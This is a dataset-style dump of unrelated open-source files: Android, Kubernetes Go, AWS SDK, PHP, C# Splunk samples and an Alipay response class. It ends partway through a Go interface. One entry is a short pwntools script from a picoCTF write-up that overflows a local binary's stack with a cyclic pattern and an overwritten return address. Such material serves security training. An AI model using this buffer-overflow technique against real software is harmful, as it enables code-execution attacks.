code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
4
991
language
stringclasses
9 values
license
stringclasses
15 values
size
int32
3
1.05M
package com.xyz.coolweather.util; /** * Created by yesgxy520 on 6/1/2016. */ public interface HttpCallbackListener { void onFinish(String response); void onError(Exception e); }
swxca/coolWeather
coolWeather/app/src/main/java/com/xyz/coolweather/util/HttpCallbackListener.java
Java
apache-2.0
189
package com.neurospeech.hypercube.ui; import android.content.Context; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentPagerAdapter; import android.support.v4.view.PagerAdapter; import android.support.v4.view.ViewPager; import android.util.AttributeSet; import android.view.MotionEvent; import com.neurospeech.hypercube.HyperCubeApplication; /** * ViewPager creates 2 or more fragments even if only 1 fragment is to be displayed. * So we cannot use onCreate event to initialize fragment. * * So we will listen for Page Change event and call fragmentResumed method of PagerFragment. * * However, page change is not fired for first time, so we will call fragmentResumed method * after Adapter is set. */ public class CustomViewPager extends ViewPager { public boolean isAllowSwipe() { return allowSwipe; } public void setAllowSwipe(boolean allowSwipe) { this.allowSwipe = allowSwipe; } private boolean allowSwipe = false; public CustomViewPager(Context context) { super(context); addOnPageChangeListener(pageChangeListener); } public CustomViewPager(Context context, AttributeSet attrs) { super(context, attrs); addOnPageChangeListener(pageChangeListener); } @Override public void setAdapter(PagerAdapter adapter) { super.setAdapter(adapter); //invokeOnResume(); } public void invokeOnResume() { HyperCubeApplication.current.post(new Runnable() { @Override public void run() { if (getChildCount() > 0) { pageChangeListener.onPageSelected(getCurrentItem()); } } }, 500); } @Override public boolean onInterceptTouchEvent(MotionEvent event) { if(allowSwipe) return super.onInterceptTouchEvent(event); // Never allow swiping to switch between pages return false; } @Override public boolean onTouchEvent(MotionEvent event) { if(allowSwipe) return super.onTouchEvent(event); // Never allow swiping to switch between pages return false; } public PagerFragment getSelectedFragment() { return selectedFragment; } PagerFragment selectedFragment; PageChangeListener pageChangeListener = new PageChangeListener(); class PageChangeListener implements OnPageChangeListener{ /*public PageChangeListener() { super(); AndroidAppActivity.post(new Runnable() { @Override public void run() { if(getCurrentItem()!=-1){ onPageSelected(getCurrentItem()); } } }); }*/ @Override public void onPageScrolled(int position, float positionOffset, int positionOffsetPixels) { } @Override public void onPageSelected(int position) { if(selectedFragment != null){ selectedFragment.fragmentPaused(); } if(!(getAdapter() instanceof FragmentPagerAdapter)){ return; } PagerAdapter adapter = getAdapter(); Object obj = adapter.instantiateItem(CustomViewPager.this,position); if(obj instanceof PagerFragment){ selectedFragment = (PagerFragment)obj; postFragmentResumed((Fragment)selectedFragment); } } @Override public void onPageScrollStateChanged(int state) { } } /** * If view is not created, we should postpone calling fragmentResumed method. * @param fragment */ private void postFragmentResumed(final Fragment fragment) { if (fragment.getView() == null) { HyperCubeApplication.current.post(new Runnable() { @Override public void run() { postFragmentResumed(fragment); } }); return; } ((PagerFragment)fragment).fragmentResumed(); } }
neurospeech/android-hypercube
hypercube/src/main/java/com/neurospeech/hypercube/ui/CustomViewPager.java
Java
apache-2.0
4,186
// Copyright 2018 The Kubeflow Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package control import ( "fmt" "sync" log "github.com/sirupsen/logrus" v1 "k8s.io/api/core/v1" "k8s.io/apimachinery/pkg/api/errors" "k8s.io/apimachinery/pkg/api/meta" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/labels" "k8s.io/apimachinery/pkg/runtime" "k8s.io/apimachinery/pkg/types" clientset "k8s.io/client-go/kubernetes" "k8s.io/client-go/tools/record" ) const ( FailedCreateServiceReason = "FailedCreateService" SuccessfulCreateServiceReason = "SuccessfulCreateService" FailedDeleteServiceReason = "FailedDeleteService" SuccessfulDeleteServiceReason = "SuccessfulDeleteService" ) // ServiceControlInterface is an interface that knows how to add or delete Services // created as an interface to allow testing. type ServiceControlInterface interface { // CreateServices creates new Services according to the spec. CreateServices(namespace string, service *v1.Service, object runtime.Object) error // CreateServicesWithControllerRef creates new services according to the spec, and sets object as the service's controller. CreateServicesWithControllerRef(namespace string, service *v1.Service, object runtime.Object, controllerRef *metav1.OwnerReference) error // PatchService patches the service. PatchService(namespace, name string, data []byte) error // DeleteService deletes the service identified by serviceID. DeleteService(namespace, serviceID string, object runtime.Object) error } func validateControllerRef(controllerRef *metav1.OwnerReference) error { if controllerRef == nil { return fmt.Errorf("controllerRef is nil") } if len(controllerRef.APIVersion) == 0 { return fmt.Errorf("controllerRef has empty APIVersion") } if len(controllerRef.Kind) == 0 { return fmt.Errorf("controllerRef has empty Kind") } if controllerRef.Controller == nil || !*controllerRef.Controller { return fmt.Errorf("controllerRef.Controller is not set to true") } if controllerRef.BlockOwnerDeletion == nil || !*controllerRef.BlockOwnerDeletion { return fmt.Errorf("controllerRef.BlockOwnerDeletion is not set") } return nil } // RealServiceControl is the default implementation of ServiceControlInterface. type RealServiceControl struct { KubeClient clientset.Interface Recorder record.EventRecorder } func (r RealServiceControl) PatchService(namespace, name string, data []byte) error { _, err := r.KubeClient.CoreV1().Services(namespace).Patch(name, types.StrategicMergePatchType, data) return err } func (r RealServiceControl) CreateServices(namespace string, service *v1.Service, object runtime.Object) error { return r.createServices(namespace, service, object, nil) } func (r RealServiceControl) CreateServicesWithControllerRef(namespace string, service *v1.Service, controllerObject runtime.Object, controllerRef *metav1.OwnerReference) error { if err := validateControllerRef(controllerRef); err != nil { return err } return r.createServices(namespace, service, controllerObject, controllerRef) } func (r RealServiceControl) createServices(namespace string, service *v1.Service, object runtime.Object, controllerRef *metav1.OwnerReference) error { if labels.Set(service.Labels).AsSelectorPreValidated().Empty() { return fmt.Errorf("unable to create Services, no labels") } serviceWithOwner, err := getServiceFromTemplate(service, object, controllerRef) if err != nil { r.Recorder.Eventf(object, v1.EventTypeWarning, FailedCreateServiceReason, "Error creating: %v", err) return fmt.Errorf("unable to create services: %v", err) } newService, err := r.KubeClient.CoreV1().Services(namespace).Create(serviceWithOwner) if err != nil { r.Recorder.Eventf(object, v1.EventTypeWarning, FailedCreateServiceReason, "Error creating: %v", err) return fmt.Errorf("unable to create services: %v", err) } accessor, err := meta.Accessor(object) if err != nil { log.Errorf("parentObject does not have ObjectMeta, %v", err) return nil } log.Infof("Controller %v created service %v", accessor.GetName(), newService.Name) r.Recorder.Eventf(object, v1.EventTypeNormal, SuccessfulCreateServiceReason, "Created service: %v", newService.Name) return nil } // DeleteService deletes the service identified by serviceID. func (r RealServiceControl) DeleteService(namespace, serviceID string, object runtime.Object) error { accessor, err := meta.Accessor(object) if err != nil { return fmt.Errorf("object does not have ObjectMeta, %v", err) } service, err := r.KubeClient.CoreV1().Services(namespace).Get(serviceID, metav1.GetOptions{}) if err != nil { if errors.IsNotFound(err) { return nil } return err } if service.DeletionTimestamp != nil { log.Infof("service %s/%s is terminating, skip deleting", service.Namespace, service.Name) return nil } log.Infof("Controller %v deleting service %v/%v", accessor.GetName(), namespace, serviceID) if err := r.KubeClient.CoreV1().Services(namespace).Delete(serviceID, nil); err != nil { r.Recorder.Eventf(object, v1.EventTypeWarning, FailedDeleteServiceReason, "Error deleting: %v", err) return fmt.Errorf("unable to delete service: %v", err) } else { r.Recorder.Eventf(object, v1.EventTypeNormal, SuccessfulDeleteServiceReason, "Deleted service: %v", serviceID) } return nil } type FakeServiceControl struct { sync.Mutex Templates []v1.Service ControllerRefs []metav1.OwnerReference DeleteServiceName []string Patches [][]byte Err error CreateLimit int CreateCallCount int } var _ ServiceControlInterface = &FakeServiceControl{} func (f *FakeServiceControl) PatchService(namespace, name string, data []byte) error { f.Lock() defer f.Unlock() f.Patches = append(f.Patches, data) if f.Err != nil { return f.Err } return nil } func (f *FakeServiceControl) CreateServices(namespace string, service *v1.Service, object runtime.Object) error { f.Lock() defer f.Unlock() f.CreateCallCount++ if f.CreateLimit != 0 && f.CreateCallCount > f.CreateLimit { return fmt.Errorf("not creating service, limit %d already reached (create call %d)", f.CreateLimit, f.CreateCallCount) } f.Templates = append(f.Templates, *service) if f.Err != nil { return f.Err } return nil } func (f *FakeServiceControl) CreateServicesWithControllerRef(namespace string, service *v1.Service, object runtime.Object, controllerRef *metav1.OwnerReference) error { f.Lock() defer f.Unlock() f.CreateCallCount++ if f.CreateLimit != 0 && f.CreateCallCount > f.CreateLimit { return fmt.Errorf("not creating service, limit %d already reached (create call %d)", f.CreateLimit, f.CreateCallCount) } f.Templates = append(f.Templates, *service) f.ControllerRefs = append(f.ControllerRefs, *controllerRef) if f.Err != nil { return f.Err } return nil } func (f *FakeServiceControl) DeleteService(namespace string, serviceID string, object runtime.Object) error { f.Lock() defer f.Unlock() f.DeleteServiceName = append(f.DeleteServiceName, serviceID) if f.Err != nil { return f.Err } return nil } func (f *FakeServiceControl) Clear() { f.Lock() defer f.Unlock() f.DeleteServiceName = []string{} f.Templates = []v1.Service{} f.ControllerRefs = []metav1.OwnerReference{} f.Patches = [][]byte{} f.CreateLimit = 0 f.CreateCallCount = 0 } func getServiceFromTemplate(template *v1.Service, parentObject runtime.Object, controllerRef *metav1.OwnerReference) (*v1.Service, error) { service := template.DeepCopy() if controllerRef != nil { service.OwnerReferences = append(service.OwnerReferences, *controllerRef) } return service, nil }
kubeflow/pytorch-operator
vendor/github.com/kubeflow/tf-operator/pkg/control/service_control.go
GO
apache-2.0
8,172
<?php /** * Inserts record into paradox database * * @phpstub * * @param resource $pxdoc * @param array $data * * @return int Returns false on failure or the record number in case of success. */ function px_insert_record($pxdoc, $data) { }
schmittjoh/php-stubs
res/php/paradox/functions/px-insert-record.php
PHP
apache-2.0
249
# -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template ./vuln from pwn import * # Set up pwntools for the correct architecture exe = context.binary = ELF('./vuln') def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) gdbscript = ''' break *0x{exe.symbols.main:x} continue '''.format(**locals()) io = start() payload = cyclic(76) #payload = 'A'*64 payload += p32(0x80485e6) io.sendline(payload) io.interactive()
Caesurus/CTF_Writeups
2019-PicoCTF/exploits/exploit_overflow-1.py
Python
apache-2.0
624
/* * Copyright 2017-2022 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with * the License. A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions * and limitations under the License. */ package com.amazonaws.services.dynamodbv2.model.transform; import java.math.*; import javax.annotation.Generated; import com.amazonaws.services.dynamodbv2.model.*; import com.amazonaws.transform.SimpleTypeJsonUnmarshallers.*; import com.amazonaws.transform.*; import com.fasterxml.jackson.core.JsonToken; import static com.fasterxml.jackson.core.JsonToken.*; /** * Put JSON Unmarshaller */ @Generated("com.amazonaws:aws-java-sdk-code-generator") public class PutJsonUnmarshaller implements Unmarshaller<Put, JsonUnmarshallerContext> { public Put unmarshall(JsonUnmarshallerContext context) throws Exception { Put put = new Put(); int originalDepth = context.getCurrentDepth(); String currentParentElement = context.getCurrentParentElement(); int targetDepth = originalDepth + 1; JsonToken token = context.getCurrentToken(); if (token == null) token = context.nextToken(); if (token == VALUE_NULL) { return null; } while (true) { if (token == null) break; if (token == FIELD_NAME || token == START_OBJECT) { if (context.testExpression("Item", targetDepth)) { context.nextToken(); put.setItem(new MapUnmarshaller<String, AttributeValue>(context.getUnmarshaller(String.class), AttributeValueJsonUnmarshaller.getInstance()) .unmarshall(context)); } if (context.testExpression("TableName", targetDepth)) { context.nextToken(); put.setTableName(context.getUnmarshaller(String.class).unmarshall(context)); } if (context.testExpression("ConditionExpression", targetDepth)) { context.nextToken(); put.setConditionExpression(context.getUnmarshaller(String.class).unmarshall(context)); } if (context.testExpression("ExpressionAttributeNames", targetDepth)) { context.nextToken(); put.setExpressionAttributeNames(new MapUnmarshaller<String, String>(context.getUnmarshaller(String.class), context .getUnmarshaller(String.class)).unmarshall(context)); } if (context.testExpression("ExpressionAttributeValues", targetDepth)) { context.nextToken(); put.setExpressionAttributeValues(new MapUnmarshaller<String, AttributeValue>(context.getUnmarshaller(String.class), AttributeValueJsonUnmarshaller.getInstance()).unmarshall(context)); } if (context.testExpression("ReturnValuesOnConditionCheckFailure", targetDepth)) { context.nextToken(); put.setReturnValuesOnConditionCheckFailure(context.getUnmarshaller(String.class).unmarshall(context)); } } else if (token == END_ARRAY || token == END_OBJECT) { if (context.getLastParsedParentElement() == null || context.getLastParsedParentElement().equals(currentParentElement)) { if (context.getCurrentDepth() <= originalDepth) break; } } token = context.nextToken(); } return put; } private static PutJsonUnmarshaller instance; public static PutJsonUnmarshaller getInstance() { if (instance == null) instance = new PutJsonUnmarshaller(); return instance; } }
aws/aws-sdk-java
aws-java-sdk-dynamodb/src/main/java/com/amazonaws/services/dynamodbv2/model/transform/PutJsonUnmarshaller.java
Java
apache-2.0
4,208
package cn.felord.wepay.ali.sdk.api.response; import cn.felord.wepay.ali.sdk.api.internal.mapping.ApiField; import cn.felord.wepay.ali.sdk.api.AlipayResponse; /** * ALIPAY API: alipay.pass.instance.add response. * * @author auto create * @version $Id: $Id */ public class AlipayPassInstanceAddResponse extends AlipayResponse { private static final long serialVersionUID = 3196266918236896342L; /** * 接口调用返回结果信息 serialNumber:唯一核销凭证串号(必须由动态传参指定) passId:券唯一id operation:本次调用的操作类型,ADD errorCode:处理结果码(错误码) errorMsg:处理结果说明(错误说明) */ @ApiField("result") private String result; /** * 操作成功标识【true:成功;false:失败】 */ @ApiField("success") private String success; /** * <p>Setter for the field <code>result</code>.</p> * * @param result a {@link java.lang.String} object. */ public void setResult(String result) { this.result = result; } /** * <p>Getter for the field <code>result</code>.</p> * * @return a {@link java.lang.String} object. */ public String getResult( ) { return this.result; } /** * <p>Setter for the field <code>success</code>.</p> * * @param success a {@link java.lang.String} object. */ public void setSuccess(String success) { this.success = success; } /** * <p>Getter for the field <code>success</code>.</p> * * @return a {@link java.lang.String} object. */ public String getSuccess( ) { return this.success; } }
NotFound403/WePay
src/main/java/cn/felord/wepay/ali/sdk/api/response/AlipayPassInstanceAddResponse.java
Java
apache-2.0
1,571
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Microsoft.Azure.WebJobs; using WebJobs.Extensions.Splunk; using WebJobs.Extensions.Splunk.Services; using System.IO; namespace ExtensionsSample.Samples { public static class SplunkSamples { public static void SendStringEventExplicit( [TimerTrigger("0:01", RunOnStartup = true)] TimerInfo timer, [SplunkHttpEventCollector] out SplunkEvent splunkEvent) { splunkEvent = new SplunkEvent() { Timestamp = DateTime.Now, Event = "Hello from a Webjob (Explicit)" }; } public static void SendObjectEventExplicit( [TimerTrigger("0:01", RunOnStartup = true)] TimerInfo timer, [SplunkHttpEventCollector] out SplunkEvent splunkEvent) { splunkEvent = new SplunkEvent() { Timestamp = DateTime.Now, Event = new { Message = "Hello from a Webjob (Explict)" } }; } public static void SendStringEventImplicit( [TimerTrigger("0:01", RunOnStartup = true)] TimerInfo timer, [SplunkHttpEventCollector] out string splunkEvent) { splunkEvent = "Hello from a Webjob (Implicit)"; } public static void SendStringObjectImplicit( [TimerTrigger("0:01", RunOnStartup = true)] TimerInfo timer, [SplunkHttpEventCollector] out object splunkEvent) { splunkEvent = new { Message = "Hello from a Webjob (Implicit)" }; } public static void SendStreamObjectImplict( [TimerTrigger("0:01", RunOnStartup = true)] TimerInfo timer, [SplunkHttpEventCollector] out Stream splunkEvent) { var message = "Hello from a Webjob (Implicit Stream)"; var bytes = Encoding.ASCII.GetBytes(message); var ms = new MemoryStream(bytes); splunkEvent = ms; } } }
glennblock/azure-webjobs-sdk-extensions-splunk
src/ExtensionsSample/Samples/SplunkSamples.cs
C#
apache-2.0
2,269
<?php #Test data $a_tablename = "Herberg Liste"; $location = "Mændenes hjem"; $road = "Mandevej"; $number = "1"; $floor = "1st"; $door = "tv"; $city = "Copenhagen"; $country = "Denmark"; $phone = "11223344"; $website = "www.awebsite.dk"; ?> <?php #Test data $hlocation = "Navn"; $hroad = "Vej"; $hnumber = "Nummer"; $hfloor = "Etage"; $hdoor = "Dør"; $hcity = "By"; $hcountry = "Land"; $hphone = "Telefon"; $hwebsite = "Hjemmeside"; $hm_array = array( array($hlocation, $hroad, $hnumber, $hfloor, $hdoor, $hcity, $hcountry,$hphone, $hwebsite) ); ?> <?php $m_array = array( array($location, $road, $number, $floor, $door, $city, $country, $phone, $website), array($location, $road, $number, $floor, $door, $city, $country, $phone, $website) ); ?>
Gaffax/Myshelter
TestData/indexTestData.php
PHP
apache-2.0
758
// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. // Package networkmanageriface provides an interface to enable mocking the AWS Network Manager service client // for testing your code. // // It is important to note that this interface will have breaking changes // when the service model is updated and adds new API operations, paginators, // and waiters. package networkmanageriface import ( "github.com/aws/aws-sdk-go/aws" "github.com/aws/aws-sdk-go/aws/request" "github.com/aws/aws-sdk-go/service/networkmanager" ) // NetworkManagerAPI provides an interface to enable mocking the // networkmanager.NetworkManager service client's API operation, // paginators, and waiters. This make unit testing your code that calls out // to the SDK's service client's calls easier. // // The best way to use this interface is so the SDK's service client's calls // can be stubbed out for unit testing your code with the SDK without needing // to inject custom request handlers into the SDK's request pipeline. // // // myFunc uses an SDK service client to make a request to // // AWS Network Manager. // func myFunc(svc networkmanageriface.NetworkManagerAPI) bool { // // Make svc.AssociateCustomerGateway request // } // // func main() { // sess := session.New() // svc := networkmanager.New(sess) // // myFunc(svc) // } // // In your _test.go file: // // // Define a mock struct to be used in your unit tests of myFunc. // type mockNetworkManagerClient struct { // networkmanageriface.NetworkManagerAPI // } // func (m *mockNetworkManagerClient) AssociateCustomerGateway(input *networkmanager.AssociateCustomerGatewayInput) (*networkmanager.AssociateCustomerGatewayOutput, error) { // // mock response/functionality // } // // func TestMyFunc(t *testing.T) { // // Setup Test // mockSvc := &mockNetworkManagerClient{} // // myfunc(mockSvc) // // // Verify myFunc's functionality // } // // It is important to note that this interface will have breaking changes // when the service model is updated and adds new API operations, paginators, // and waiters. Its suggested to use the pattern above for testing, or using // tooling to generate mocks to satisfy the interfaces. type NetworkManagerAPI interface { AssociateCustomerGateway(*networkmanager.AssociateCustomerGatewayInput) (*networkmanager.AssociateCustomerGatewayOutput, error) AssociateCustomerGatewayWithContext(aws.Context, *networkmanager.AssociateCustomerGatewayInput, ...request.Option) (*networkmanager.AssociateCustomerGatewayOutput, error) AssociateCustomerGatewayRequest(*networkmanager.AssociateCustomerGatewayInput) (*request.Request, *networkmanager.AssociateCustomerGatewayOutput) AssociateLink(*networkmanager.AssociateLinkInput) (*networkmanager.AssociateLinkOutput, error) AssociateLinkWithContext(aws.Context, *networkmanager.AssociateLinkInput, ...request.Option) (*networkmanager.AssociateLinkOutput, error) AssociateLinkRequest(*networkmanager.AssociateLinkInput) (*request.Request, *networkmanager.AssociateLinkOutput) AssociateTransitGatewayConnectPeer(*networkmanager.AssociateTransitGatewayConnectPeerInput) (*networkmanager.AssociateTransitGatewayConnectPeerOutput, error) AssociateTransitGatewayConnectPeerWithContext(aws.Context, *networkmanager.AssociateTransitGatewayConnectPeerInput, ...request.Option) (*networkmanager.AssociateTransitGatewayConnectPeerOutput, error) AssociateTransitGatewayConnectPeerRequest(*networkmanager.AssociateTransitGatewayConnectPeerInput) (*request.Request, *networkmanager.AssociateTransitGatewayConnectPeerOutput) CreateConnection(*networkmanager.CreateConnectionInput) (*networkmanager.CreateConnectionOutput, error) CreateConnectionWithContext(aws.Context, *networkmanager.CreateConnectionInput, ...request.Option) (*networkmanager.CreateConnectionOutput, error) CreateConnectionRequest(*networkmanager.CreateConnectionInput) (*request.Request, *networkmanager.CreateConnectionOutput) CreateDevice(*networkmanager.CreateDeviceInput) (*networkmanager.CreateDeviceOutput, error) CreateDeviceWithContext(aws.Context, *networkmanager.CreateDeviceInput, ...request.Option) (*networkmanager.CreateDeviceOutput, error) CreateDeviceRequest(*networkmanager.CreateDeviceInput) (*request.Request, *networkmanager.CreateDeviceOutput) CreateGlobalNetwork(*networkmanager.CreateGlobalNetworkInput) (*networkmanager.CreateGlobalNetworkOutput, error) CreateGlobalNetworkWithContext(aws.Context, *networkmanager.CreateGlobalNetworkInput, ...request.Option) (*networkmanager.CreateGlobalNetworkOutput, error) CreateGlobalNetworkRequest(*networkmanager.CreateGlobalNetworkInput) (*request.Request, *networkmanager.CreateGlobalNetworkOutput) CreateLink(*networkmanager.CreateLinkInput) (*networkmanager.CreateLinkOutput, error) CreateLinkWithContext(aws.Context, *networkmanager.CreateLinkInput, ...request.Option) (*networkmanager.CreateLinkOutput, error) CreateLinkRequest(*networkmanager.CreateLinkInput) (*request.Request, *networkmanager.CreateLinkOutput) CreateSite(*networkmanager.CreateSiteInput) (*networkmanager.CreateSiteOutput, error) CreateSiteWithContext(aws.Context, *networkmanager.CreateSiteInput, ...request.Option) (*networkmanager.CreateSiteOutput, error) CreateSiteRequest(*networkmanager.CreateSiteInput) (*request.Request, *networkmanager.CreateSiteOutput) DeleteConnection(*networkmanager.DeleteConnectionInput) (*networkmanager.DeleteConnectionOutput, error) DeleteConnectionWithContext(aws.Context, *networkmanager.DeleteConnectionInput, ...request.Option) (*networkmanager.DeleteConnectionOutput, error) DeleteConnectionRequest(*networkmanager.DeleteConnectionInput) (*request.Request, *networkmanager.DeleteConnectionOutput) DeleteDevice(*networkmanager.DeleteDeviceInput) (*networkmanager.DeleteDeviceOutput, error) DeleteDeviceWithContext(aws.Context, *networkmanager.DeleteDeviceInput, ...request.Option) (*networkmanager.DeleteDeviceOutput, error) DeleteDeviceRequest(*networkmanager.DeleteDeviceInput) (*request.Request, *networkmanager.DeleteDeviceOutput) DeleteGlobalNetwork(*networkmanager.DeleteGlobalNetworkInput) (*networkmanager.DeleteGlobalNetworkOutput, error) DeleteGlobalNetworkWithContext(aws.Context, *networkmanager.DeleteGlobalNetworkInput, ...request.Option) (*networkmanager.DeleteGlobalNetworkOutput, error) DeleteGlobalNetworkRequest(*networkmanager.DeleteGlobalNetworkInput) (*request.Request, *networkmanager.DeleteGlobalNetworkOutput) DeleteLink(*networkmanager.DeleteLinkInput) (*networkmanager.DeleteLinkOutput, error) DeleteLinkWithContext(aws.Context, *networkmanager.DeleteLinkInput, ...request.Option) (*networkmanager.DeleteLinkOutput, error) DeleteLinkRequest(*networkmanager.DeleteLinkInput) (*request.Request, *networkmanager.DeleteLinkOutput) DeleteSite(*networkmanager.DeleteSiteInput) (*networkmanager.DeleteSiteOutput, error) DeleteSiteWithContext(aws.Context, *networkmanager.DeleteSiteInput, ...request.Option) (*networkmanager.DeleteSiteOutput, error) DeleteSiteRequest(*networkmanager.DeleteSiteInput) (*request.Request, *networkmanager.DeleteSiteOutput) DeregisterTransitGateway(*networkmanager.DeregisterTransitGatewayInput) (*networkmanager.DeregisterTransitGatewayOutput, error) DeregisterTransitGatewayWithContext(aws.Context, *networkmanager.DeregisterTransitGatewayInput, ...request.Option) (*networkmanager.DeregisterTransitGatewayOutput, error) DeregisterTransitGatewayRequest(*networkmanager.DeregisterTransitGatewayInput) (*request.Request, *networkmanager.DeregisterTransitGatewayOutput) DescribeGlobalNetworks(*networkmanager.DescribeGlobalNetworksInput) (*networkmanager.DescribeGlobalNetworksOutput, error) DescribeGlobalNetworksWithContext(aws.Context, *networkmanager.DescribeGlobalNetworksInput, ...request.Option) (*networkmanager.DescribeGlobalNetworksOutput, error) DescribeGlobalNetworksRequest(*networkmanager.DescribeGlobalNetworksInput) (*request.Request, *networkmanager.DescribeGlobalNetworksOutput) DescribeGlobalNetworksPages(*networkmanager.DescribeGlobalNetworksInput, func(*networkmanager.DescribeGlobalNetworksOutput, bool) bool) error DescribeGlobalNetworksPagesWithContext(aws.Context, *networkmanager.DescribeGlobalNetworksInput, func(*networkmanager.DescribeGlobalNetworksOutput, bool) bool, ...request.Option) error DisassociateCustomerGateway(*networkmanager.DisassociateCustomerGatewayInput) (*networkmanager.DisassociateCustomerGatewayOutput, error) DisassociateCustomerGatewayWithContext(aws.Context, *networkmanager.DisassociateCustomerGatewayInput, ...request.Option) (*networkmanager.DisassociateCustomerGatewayOutput, error) DisassociateCustomerGatewayRequest(*networkmanager.DisassociateCustomerGatewayInput) (*request.Request, *networkmanager.DisassociateCustomerGatewayOutput) DisassociateLink(*networkmanager.DisassociateLinkInput) (*networkmanager.DisassociateLinkOutput, error) DisassociateLinkWithContext(aws.Context, *networkmanager.DisassociateLinkInput, ...request.Option) (*networkmanager.DisassociateLinkOutput, error) DisassociateLinkRequest(*networkmanager.DisassociateLinkInput) (*request.Request, *networkmanager.DisassociateLinkOutput) DisassociateTransitGatewayConnectPeer(*networkmanager.DisassociateTransitGatewayConnectPeerInput) (*networkmanager.DisassociateTransitGatewayConnectPeerOutput, error) DisassociateTransitGatewayConnectPeerWithContext(aws.Context, *networkmanager.DisassociateTransitGatewayConnectPeerInput, ...request.Option) (*networkmanager.DisassociateTransitGatewayConnectPeerOutput, error) DisassociateTransitGatewayConnectPeerRequest(*networkmanager.DisassociateTransitGatewayConnectPeerInput) (*request.Request, *networkmanager.DisassociateTransitGatewayConnectPeerOutput) GetConnections(*networkmanager.GetConnectionsInput) (*networkmanager.GetConnectionsOutput, error) GetConnectionsWithContext(aws.Context, *networkmanager.GetConnectionsInput, ...request.Option) (*networkmanager.GetConnectionsOutput, error) GetConnectionsRequest(*networkmanager.GetConnectionsInput) (*request.Request, *networkmanager.GetConnectionsOutput) GetConnectionsPages(*networkmanager.GetConnectionsInput, func(*networkmanager.GetConnectionsOutput, bool) bool) error GetConnectionsPagesWithContext(aws.Context, *networkmanager.GetConnectionsInput, func(*networkmanager.GetConnectionsOutput, bool) bool, ...request.Option) error GetCustomerGatewayAssociations(*networkmanager.GetCustomerGatewayAssociationsInput) (*networkmanager.GetCustomerGatewayAssociationsOutput, error) GetCustomerGatewayAssociationsWithContext(aws.Context, *networkmanager.GetCustomerGatewayAssociationsInput, ...request.Option) (*networkmanager.GetCustomerGatewayAssociationsOutput, error) GetCustomerGatewayAssociationsRequest(*networkmanager.GetCustomerGatewayAssociationsInput) (*request.Request, *networkmanager.GetCustomerGatewayAssociationsOutput) GetCustomerGatewayAssociationsPages(*networkmanager.GetCustomerGatewayAssociationsInput, func(*networkmanager.GetCustomerGatewayAssociationsOutput, bool) bool) error GetCustomerGatewayAssociationsPagesWithContext(aws.Context, *networkmanager.GetCustomerGatewayAssociationsInput, func(*networkmanager.GetCustomerGatewayAssociationsOutput, bool) bool, ...request.Option) error GetDevices(*networkmanager.GetDevicesInput) (*networkmanager.GetDevicesOutput, error) GetDevicesWithContext(aws.Context, *networkmanager.GetDevicesInput, ...request.Option) (*networkmanager.GetDevicesOutput, error) GetDevicesRequest(*networkmanager.GetDevicesInput) (*request.Request, *networkmanager.GetDevicesOutput) GetDevicesPages(*networkmanager.GetDevicesInput, func(*networkmanager.GetDevicesOutput, bool) bool) error GetDevicesPagesWithContext(aws.Context, *networkmanager.GetDevicesInput, func(*networkmanager.GetDevicesOutput, bool) bool, ...request.Option) error GetLinkAssociations(*networkmanager.GetLinkAssociationsInput) (*networkmanager.GetLinkAssociationsOutput, error) GetLinkAssociationsWithContext(aws.Context, *networkmanager.GetLinkAssociationsInput, ...request.Option) (*networkmanager.GetLinkAssociationsOutput, error) GetLinkAssociationsRequest(*networkmanager.GetLinkAssociationsInput) (*request.Request, *networkmanager.GetLinkAssociationsOutput) GetLinkAssociationsPages(*networkmanager.GetLinkAssociationsInput, func(*networkmanager.GetLinkAssociationsOutput, bool) bool) error GetLinkAssociationsPagesWithContext(aws.Context, *networkmanager.GetLinkAssociationsInput, func(*networkmanager.GetLinkAssociationsOutput, bool) bool, ...request.Option) error GetLinks(*networkmanager.GetLinksInput) (*networkmanager.GetLinksOutput, error) GetLinksWithContext(aws.Context, *networkmanager.GetLinksInput, ...request.Option) (*networkmanager.GetLinksOutput, error) GetLinksRequest(*networkmanager.GetLinksInput) (*request.Request, *networkmanager.GetLinksOutput) GetLinksPages(*networkmanager.GetLinksInput, func(*networkmanager.GetLinksOutput, bool) bool) error GetLinksPagesWithContext(aws.Context, *networkmanager.GetLinksInput, func(*networkmanager.GetLinksOutput, bool) bool, ...request.Option) error GetSites(*networkmanager.GetSitesInput) (*networkmanager.GetSitesOutput, error) GetSitesWithContext(aws.Context, *networkmanager.GetSitesInput, ...request.Option) (*networkmanager.GetSitesOutput, error) GetSitesRequest(*networkmanager.GetSitesInput) (*request.Request, *networkmanager.GetSitesOutput) GetSitesPages(*networkmanager.GetSitesInput, func(*networkmanager.GetSitesOutput, bool) bool) error GetSitesPagesWithContext(aws.Context, *networkmanager.GetSitesInput, func(*networkmanager.GetSitesOutput, bool) bool, ...request.Option) error GetTransitGatewayConnectPeerAssociations(*networkmanager.GetTransitGatewayConnectPeerAssociationsInput) (*networkmanager.GetTransitGatewayConnectPeerAssociationsOutput, error) GetTransitGatewayConnectPeerAssociationsWithContext(aws.Context, *networkmanager.GetTransitGatewayConnectPeerAssociationsInput, ...request.Option) (*networkmanager.GetTransitGatewayConnectPeerAssociationsOutput, error) 